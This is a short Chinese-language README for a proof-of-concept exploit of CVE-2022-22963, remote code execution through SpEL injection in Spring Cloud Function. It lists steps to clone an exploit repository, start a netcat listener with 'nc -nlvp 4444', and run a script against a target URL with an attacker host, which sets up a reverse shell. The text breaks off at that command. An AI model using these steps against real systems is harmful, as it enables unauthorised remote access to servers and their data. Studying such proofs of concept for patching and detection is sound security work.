CVE-2022-22963

CVE-2022-22963 在Spring Cloud Function的3.1.6、3.2.2及更早版本中，当使用路由功能时，用户可能提供特制的SpEL作为路由表达式，从而导致远程代码执行和本地资源访问。 PoC 克隆仓库 git clone https://github.com/jrbH4CK/CVE-2022-22963.git 进入文件夹 cd CVE-2022-22963 更改执行权限 chmode +x springCloud.sh 在所需端口启动nc nc -nlvp 4444 根据自己的需要修改参数，执行以下命令 ./springCloud.sh url lhost...